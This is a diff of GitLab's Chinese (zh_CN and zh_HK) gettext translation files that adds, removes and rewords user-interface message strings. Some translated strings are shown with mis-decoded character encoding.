@@ -32771,9 +32558,6 @@ msgstr "æ•°æ®å¤ªå¤šæ— æ³•è®¡ç®—。请更改您的选择。"
msgid "There was a problem communicating with your device."
msgstr "与您的设备通信时出现问题。"
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr "获å–分支时出现问题。"
@@ -32894,6 +32678,9 @@ msgstr "导入Jira项目时出错。"
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "加载用户活动日历时出错。"
@@ -32969,6 +32756,9 @@ msgstr "获å–值æµåˆ†æžæ•°æ®æ—¶å‡ºé”™ã€‚"
msgid "There was an error while fetching value stream analytics duration data."
msgstr "获å–价值æµåˆ†æžæŒç»­æ—¶é—´æ—¶å‡ºé”™ã€‚"
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr "reCAPTCHA 验è¯é”™è¯¯ã€‚请å†æ¬¡éªŒè¯ reCAPTCHA。"
@@ -33002,8 +32792,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr "第三方建议链接"
-msgid "Third party offers"
-msgstr "第三方推广"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "æ­¤%{issuableDisplayName}被é”定。åªæœ‰é¡¹ç›®æˆå‘˜å¯ä»¥è¯„论。"
@@ -33098,6 +32888,9 @@ msgstr "此看æ¿èŒƒå›´ç¼©å°äº†"
msgid "This chart could not be displayed"
msgstr "无法显示此图表"
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr "此设备未注册。"
msgid "This diff is collapsed."
msgstr "此差异已折å ã€‚"
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr "此差异由.gitattributes 抑制。"
-
msgid "This directory"
msgstr "当å‰ç›®å½•"
@@ -33224,7 +33014,7 @@ msgstr "这是已登录到您å¸æˆ·çš„设备列表。您å¯ä»¥åˆ é™¤ä»»ä½•æ‚¨æ— 
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr "è¦è¿žæŽ¥GitHub仓库,首先需è¦æŽˆæƒGitLab访问列表中的GitHub
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "如è¦è¿žæŽ¥SVN仓库,请查看 %{svn_link}。"
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr "è¦å®šä¹‰å†…部用户,请首先å¯ç”¨è®¾ç½®ä¸ºå¤–部的新用户"
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr "通过Azure,Okta,Onelogin,Ping Identity或自定义SAML 2.0等身ä
msgid "To set up this service:"
msgstr "设置此æœåŠ¡ï¼š"
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr "为简化计费过程, GitLab将收集用户数,以便利用季度对账程åºï¼ŒæŒ‰æ¯”例计算全年用户增长的费用。"
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr "è‹¥è¦æŒ‡å®šæ‚¨æ‰€å±žçš„群组的æ¯ä¸ªé¡¹ç›®çš„通知级别,您需è¦è®¿é—®é¡¹ç›®é¡µé¢ï¼Œæ›´æ”¹é€šçŸ¥çº§åˆ«ã€‚"
@@ -34150,9 +33943,18 @@ msgstr "åˆ‡æ¢ :%{name}: 表情符å·èµžèµã€‚"
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr "令牌有效直至被撤销"
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "明日"
@@ -34165,6 +33967,9 @@ msgstr "å¯ç”¨äº†å¤ªå¤šçš„命å空间。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "å¯ç”¨äº†å¤ªå¤šçš„项目。您需è¦é€šè¿‡æŽ§åˆ¶å°æˆ–APIæ¥ç®¡ç†å®ƒä»¬ã€‚"
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr "主题(å¯é€‰)"
@@ -34213,6 +34018,15 @@ msgstr "跟踪"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "在ä¸åŒé¡¹ç›®å’Œé‡Œç¨‹ç¢‘中跟踪具有åŒä¸€ä¸»é¢˜çš„议题组"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "使用快æ·æ“作æ¥ç»Ÿè®¡å·¥æ—¶"
@@ -34691,12 +34505,6 @@ msgstr "很é—憾,您å‘é€ç»™GitLab的电å­é‚®ä»¶æ— æ³•å¤„ç†ã€‚"
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr "å¸è½½"
-
-msgid "Uninstalling"
-msgstr "正在å¸è½½"
-
msgid "Units|ms"
msgstr "毫秒"
@@ -34787,21 +34595,6 @@ msgstr "5日或更多"
msgid "UnscannedProjects|60 or more days"
msgstr "60日或更多"
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr "按项目的默认分支扫æ"
-
-msgid "UnscannedProjects|Out of date"
-msgstr "已过期"
-
-msgid "UnscannedProjects|Project scanning"
-msgstr "项目扫æ"
-
-msgid "UnscannedProjects|Untested"
-msgstr "未测试"
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr "您的项目已更新ï¼å¤ªæ£’了ï¼"
-
msgid "Unschedule job"
msgstr "å–消作业计划"
@@ -34937,9 +34730,6 @@ msgstr "更新于"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "由%{updated_by}更新于%{updated_at}"
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr "已更新至%{linkStart}chart v%{linkEnd}"
-
msgid "Updates"
msgstr "æ›´æ–°"
@@ -35276,9 +35066,15 @@ msgstr "使用 %{code_start}::%{code_end} 创建 %{link_start}有范围标签集
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr "用户已æˆåŠŸä»Žé¡¹ç›®ä¸­åˆ é™¤ã€‚"
msgid "User was successfully updated."
msgstr "用户已æˆåŠŸæ›´æ–°ã€‚"
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr "%{author} (忙碌)"
@@ -35705,9 +35504,6 @@ msgstr "验è¯å¤±è´¥ã€‚"
msgid "Value"
msgstr "值"
-msgid "Value Stream"
-msgstr "价值æµ"
-
msgid "Value Stream Analytics"
msgstr "价值æµåˆ†æž"
@@ -35717,9 +35513,15 @@ msgstr "价值æµåˆ†æžå¯ä»¥å¸®åŠ©æ‚¨äº†è§£å›¢é˜Ÿçš„效率"
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr "价值æµåˆ†æžæ¦‚述了项目从想法到产å“实现的å„阶段所需的时间。"
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr "我们没有足够的数æ®æ¥æ˜¾ç¤ºæ­¤é˜¶æ®µã€‚"
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr "å½±å“GitLab性能相关设置。"
msgid "Verification concurrency limit"
msgstr "验è¯å¹¶å‘é™åˆ¶"
-msgid "Verification information"
-msgstr "验è¯ä¿¡æ¯"
-
msgid "Verification status"
msgstr "验è¯çŠ¶æ€"
@@ -35887,6 +35686,9 @@ msgstr "查看完整仪表æ¿"
msgid "View full log"
msgstr "查看完整日志"
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "查看群组标记"
@@ -35905,9 +35707,6 @@ msgstr "使用GitLab查看"
msgid "View job"
msgstr "查看作业"
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr "查看作业日志"
@@ -35941,6 +35740,9 @@ msgstr "查看性能仪表æ¿ã€‚"
msgid "View project"
msgstr "查看项目"
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "查看项目标记"
@@ -36010,7 +35812,10 @@ msgstr "未知"
msgid "Visit settings page"
msgstr "访问设置页é¢"
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,8 +35956,8 @@ msgstr "å°†ä¸ä¿®å¤æˆ–为误报"
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr "无效的议题链接或ID"
-msgid "VulnerabilityStatusTypes|All"
-msgstr "全部"
+msgid "VulnerabilityStatusTypes|All statuses"
+msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "已确认"
@@ -36283,6 +36088,9 @@ msgstr "警告:"
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr "警告:显示此图表å¯èƒ½ä¼šå¼•èµ·é¡µé¢çš„性能问题。"
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr "我们目å‰æ— æ³•èŽ·å–æ­¤æµæ°´çº¿æŠ¥å¤´çš„æ•°æ®ã€‚"
@@ -36583,6 +36391,15 @@ msgstr "欢迎æ¥åˆ°GitLab导览"
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr "您è¦æœç´¢ä»€ä¹ˆï¼Ÿ"
@@ -36592,6 +36409,9 @@ msgstr "如何形容您最åˆé€‚?"
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr "您å¯ä»¥åœ¨ä¸ªäººè®¿é—®ä»¤ç‰Œè®¾ç½®%{pat_link}中创建新的访问令ç
msgid "You can easily contribute to them by requesting to join these groups."
msgstr "您å¯ä»¥è¯·æ±‚加入这些群组,以便为群组项目åšå‡ºè´¡çŒ®ã€‚"
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr "您现在å¯ä»¥å…³é—­æ­¤çª—å£ã€‚"
msgid "You can now export your security dashboard to a CSV report."
msgstr "现在你å¯ä»¥å¯¼å‡ºå®‰å…¨ä»ªè¡¨æ¿åˆ°CSV报告。"
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr "您现在å¯ä»¥æ交åˆå¹¶è¯·æ±‚以将此更改å‘é€åˆ°æºåˆ†æ”¯ã€‚"
@@ -37343,21 +37172,18 @@ msgstr "您已拒ç»åŠ %{title}%{name}的邀请。"
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr "您已从该项目导入%{numberOfPreviousImports} 次。æ¯æ¬¡å¯¼å…¥éƒ½ä¼šäº§ç”Ÿé‡å¤çš„议题。"
+msgid "You have insufficient permissions to configure escalation policies for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create a Todo for this alert"
msgstr "您没有足够的æƒé™ä¸ºè¿™ä¸ªè­¦æŠ¥åˆ›å»ºå¾…办事项"
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr "您没有足够的æƒé™ä¸ºæ­¤é¡¹ç›®åˆ›å»ºHTTP集æˆ"
-msgid "You have insufficient permissions to create an escalation policy for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr "您没有足够的æƒé™æ¥åˆ›å»ºæ­¤é¡¹ç›®çš„待命计划"
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr "您必须æ供一个有效的当å‰å¯†ç "
msgid "You must provide your current password in order to change it."
msgstr "您必须æ供当å‰å¯†ç æ‰èƒ½è¿›è¡Œæ›´æ”¹ã€‚"
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr "必须选择一个栈æ¥é…置您的云供应商。了解更多有关信æ¯"
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr "您从项目%{project_name}(%{project_url})导出包å«%{written_count}ç
msgid "Your CSV import for project"
msgstr "您的项目CSV导入"
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr "您的æ交电å­é‚®ä»¶å°†ç”¨äºŽåŸºäºŽwebçš„æ“作,例如编辑与åˆå¹¶ã€‚"
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr "如果没有设置%{openingTag}群组特定的电å­é‚®ä»¶åœ°å€%{closingTag} ,您的默认通知电å­é‚®ä»¶å°†ç”¨äºŽå¸æˆ·é€šçŸ¥ã€‚"
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr "您的DevOps报告概述了从功能角度使用GitLabçš„æ–¹å¼ã€‚查看您的组织与其他组织的比较,å‘现您尚未å°è¯•ä½¿ç”¨çš„功能,并通过åšå®¢æ–‡ç« å’Œç™½çš®ä¹¦äº†è§£æœ€ä½³å®žè·µã€‚"
@@ -37616,18 +37433,12 @@ msgstr "您的许å¯è¯"
msgid "Your Personal Access Token was revoked"
msgstr "您的个人访问令牌已被åŠé”€ã€‚"
-msgid "Your Primary Email will be used for avatar detection."
-msgstr "您的主电å­é‚®ä»¶å°†ç”¨äºŽå¤´åƒæ£€æµ‹ã€‚"
-
msgid "Your Projects (default)"
msgstr "您的项目 (默认值)"
msgid "Your Projects' Activity"
msgstr "您的项目动æ€"
-msgid "Your Public Email will be displayed on your public profile."
-msgstr "您的公共电å­é‚®ä»¶å°†åœ¨æ‚¨çš„公开信æ¯ä¸­æ˜¾ç¤ºã€‚"
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr "您的SSH密钥已删除"
msgid "Your SSH keys (%{count})"
msgstr "您的SSH密钥(%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr "您的待办事项列表"
@@ -37715,12 +37520,18 @@ msgstr "您的评论无法更新ï¼è¯·æ£€æŸ¥æ‚¨çš„网络连接,然åŽé‡è¯•ã€‚
msgid "Your comment will be discarded."
msgstr "您的评论将被丢弃。"
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "仪表æ¿å·²ç»è¢«å¤åˆ¶ã€‚ ä½ å¯ä»¥%{web_ide_link_start}在这里进行编辑%{web_ide_link_end}。"
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "您的仪表æ¿å·²æ›´æ–°ã€‚ä½ å¯ä»¥%{web_ide_link_start}在这里进行编辑%{web_ide_link_end}。"
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr "您的部署æœåŠ¡å°†å¤±æ•ˆï¼Œéœ€è¦åœ¨é‡å‘½ååŽæ‰‹åŠ¨ä¿®å¤æœåŠ¡ã€‚"
@@ -37805,6 +37616,9 @@ msgstr "您的个人访问令牌已过期"
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr "个人资料"
@@ -37814,6 +37628,9 @@ msgstr "您的被é™åˆ¶ä¸ºæœ€å¤§ %{limit} 个项目ï¼è¯·ä¸Žæ‚¨çš„管ç†å‘˜è”ç³
msgid "Your projects"
msgstr "您的项目"
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr "您的访问请求无法处ç†: %{error_meesage}"
@@ -37905,6 +37722,9 @@ msgstr "å…许失败"
msgid "already being used for another group or project %{timebox_name}."
msgstr "已用于å¦ä¸€ç¾¤ç§Ÿæˆ–项目%{timebox_name}。"
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr "å·²ç»æœ‰â€œå·²åˆ›å»ºâ€çš„议题链接"
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr "无法å¯ç”¨ï¼Œå› ä¸ºçˆ¶ç¾¤ç»„å·²ç¦ç”¨å…±äº«Runner"
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr "除éžæ‰€æœ‰åŸŸéƒ½å…·æœ‰TLSè¯ä¹¦ï¼Œå¦åˆ™æ— æ³•å¯ç”¨"
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr "无法修改"
@@ -38010,9 +37842,6 @@ msgstr "本身ä¸èƒ½è¢«é˜»å¡ž"
msgid "cannot merge"
msgstr "无法åˆå¹¶"
-msgid "child-pipeline"
-msgstr "å­æµæ°´çº¿"
-
msgid "ciReport|%{degradedNum} degraded"
msgstr "å·²é™ä½Ž%{degradedNum}"
@@ -38314,6 +38143,9 @@ msgstr "无法读å–ç§é’¥ï¼Œå¯†ç çŸ­è¯­æ˜¯å¦æ­£ç¡®ï¼Ÿ"
msgid "created"
msgstr "已创建"
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr "å·²å¯ç”¨"
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr "加密:必须是 :requiredã€:optional 或 :migrating 之一"
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr "æ¡ç›®ä¸èƒ½è¶…过255个字符"
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] "æ¥è‡ª%d个作业"
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr "群组"
@@ -38858,6 +38690,9 @@ msgstr "åˆå¹¶"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "åˆå¹¶å¤±è´¥ã€‚"
@@ -38894,9 +38729,6 @@ msgstr "更多信æ¯"
msgid "mrWidget|Open in Web IDE"
msgstr "在Web IDE中打开"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr "æµæ°´çº¿è¢«é˜»æ­¢ã€‚æ­¤åˆå¹¶è¯·æ±‚çš„æµæ°´çº¿éœ€è¦æ‰‹åŠ¨æ“作æ‰èƒ½ç»§ç»­"
-
msgid "mrWidget|Plain diff"
msgstr "文本差异"
@@ -38957,8 +38789,8 @@ msgstr "æºåˆ†æ”¯HEAD最近已更改。请在é‡æ–°åˆå¹¶ä¹‹å‰é‡æ–°åŠ è½½é¡µé
msgid "mrWidget|The source branch has been deleted"
msgstr "æºåˆ†æ”¯å·²åˆ é™¤"
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
-msgstr "æºåˆ†æ”¯æ¯”目标分支%{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd}"
+msgid "mrWidget|The source branch is %{link} the target branch"
+msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "æºåˆ†æ”¯æ­£åœ¨åˆ é™¤"
@@ -39038,8 +38870,11 @@ msgstr ""
msgid "must be greater than start date"
msgstr "必须大于开始日期"
-msgid "must contain only valid frameworks"
-msgstr "å¿…é¡»åªåŒ…å«æœ‰æ•ˆçš„框架"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
+msgstr ""
msgid "my-awesome-group"
msgstr "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr "%{item},和 %{lastItem}"
msgid "on track"
msgstr "按计划进行"
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr "å¼€å¯çš„议题"
@@ -39379,6 +39217,9 @@ msgstr "标签å称"
msgid "the correct format."
msgstr "正确的格å¼ã€‚"
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr "下列议题"
@@ -39481,6 +39322,9 @@ msgstr "查看blob"
msgid "view the source"
msgstr "查看æºä»£ç "
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] "æ¼æ´ž"
diff --git a/locale/zh_HK/gitlab.po b/locale/zh_HK/gitlab.po
index 5caefc790f5..aa7f8507d43 100644
--- a/locale/zh_HK/gitlab.po
+++ b/locale/zh_HK/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: zh-HK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:26\n"
+"PO-Revision-Date: 2021-07-01 21:09\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 個圖層"
@@ -358,6 +354,21 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr "éœ€è¦ %{count} 個由 %{name} 的批准"
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,10 +602,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -783,9 +801,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}了解更多%{usage_ping_link_end} 關於與GitLab Inc.共享的信æ¯"
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
